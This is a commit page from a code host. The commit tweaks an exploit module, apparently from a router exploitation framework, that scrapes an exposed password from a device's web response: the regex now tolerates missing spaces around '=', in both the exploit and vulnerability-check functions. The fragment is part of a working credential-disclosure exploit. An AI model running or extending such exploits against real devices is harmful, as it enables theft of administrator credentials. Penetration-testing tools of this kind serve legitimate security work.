Commit 49df5b75 by BigNerd95

Fixed pass disclosure

In some firmware there are no spaces before and after “=“
parent f8d44c0b
...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return return
val = re.findall('password = "(.+?)"', response.text) val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
print_success("Exploit success") print_success("Exploit success")
...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit): ...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
val = re.findall('password = "(.+?)"', response.text) val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
return True # target vulnerable return True # target vulnerable
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment